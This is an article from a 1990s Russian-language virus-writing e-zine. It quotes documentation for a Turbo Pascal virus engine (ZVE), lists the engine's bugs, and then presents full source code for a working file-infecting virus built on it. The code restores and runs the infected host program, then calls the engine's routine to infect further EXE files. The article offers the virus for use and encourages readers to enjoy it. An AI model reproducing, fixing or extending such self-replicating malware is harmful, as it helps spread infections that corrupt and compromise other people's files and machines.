- [Duke's Virus Labs #4] - [Page 05] - HLLP.ZVE.3987 (c) by Duke/SMF В журнале Pinoy Virus Writers #3 был опубликован TPU-модуль, облегчающий создание HLLP-вирусов. Вот выдержки из прилагаемой документации : ===== Cut here ===== ╔═══ Zoom23 Virus Engine ═════════════════════════════════════╗ ╚═════════════════════════════════════════════════════════════╝ ■ This engine was made using turbo pascal compiler .It's a UNIT (ZVE.TPU) file and you can use it to create your viruses.It's a simple engine it could be the first Pascal made virus engine. It only replicates and does'nt detroy infected files.It only increases it's file lenght. It searches for it's signature so it wont infect files that are already infected. For bugs and coments email to : brianjan@mailcity.com nosecrets@mailexcite.com zoom23@the-pentagon.com { -------------------------------------------------------------------- Property of Pinoy Virus Writers WebRing (C) May 23, 1998 Author : Zoom23 Email : brianjan@mailcity.com Http://members.tripod.com/~brianjan For Educational Purposes Only !!! " Keep the infection alive ... " -------------------------------------------------------------------- } ===== Cut here ===== На мой взгляд, этот engine заслуживает внимания, несмотря на наличие некоторых недостатков : 1) В приводимом в журнале PVW #3 примере написано, что для работы ZVE требуется описание константы Virlen, равной длине откомпилированного вируса. На самом деле эта константа не используется в программе. 2) Максимальная длина создаваемых вирусов - 4444 байта. Поэтому добавить спецэффекты или что-либо свое вам не удастся. 3) В приводимом примере из модуля ZVE.TPU вызывается процедура Infect. Но в модуле имеется лишь процедура InfectNow. 4) При запуске пораженного файла управление получает вирус, который проводит поражение EXE-файлов (с проверкой на повторное заражение). Однако, пораженная программа управление никогда не получает :( Я решил написать вирусок, с использованием ZVE, в котором исправлены все эти ошибки. И написал ;) Смотрите и наслаждайтесь ! ===== Cut here ===== (* Created (c) by Duke/SMF Using Zoom23 Virus Engine (c) by Zoom23 После компиляции обработать программой PKLITE ! *) {$M 2000, 0, 2000} {$I-,S-} uses zve,dos; {---------------------------------} procedure Execute; const Change=4444; var a:file; {пораженный файл} par:string; i:byte; w:array[1..Change] of byte; s:string; f:integer; begin s:=paramstr(0); assign(a,s);reset(a,1); f:=filesize(a); if f<=Change then Exit; {Если мы в чистом вирусе - на выход} {Возвращаем жертве "А" первоначальный вид:} seek(a,f-Change-5); {Указатель поставлен на начало save-"А".} BlockRead(a,w,Change); {Save-"A" считан в массив W.} seek(a,0); {Указатель поставлен на начало "А".} BlockWrite(a,w,Change); {Массив W записан в начало "А".} seek(a,f-Change-5); {Указатель поставлен на начало save-"А".} truncate(a); {Отбрасывается save-часть "А".} close(a); {Закрываем "А"} par:='This virus created by Duke/SMF'; par:='Using "Zoom23 Virus Engine" [ZVE] by Zoom23'; par:=''; for i:=1 to paramcount do {Сохраняем параметры} par:=par+paramstr(i)+' '; exec(s,par); {Запускаем "А"} end; {---------------------------------} BEGIN Execute; InfectNow; END. ===== Cut here =====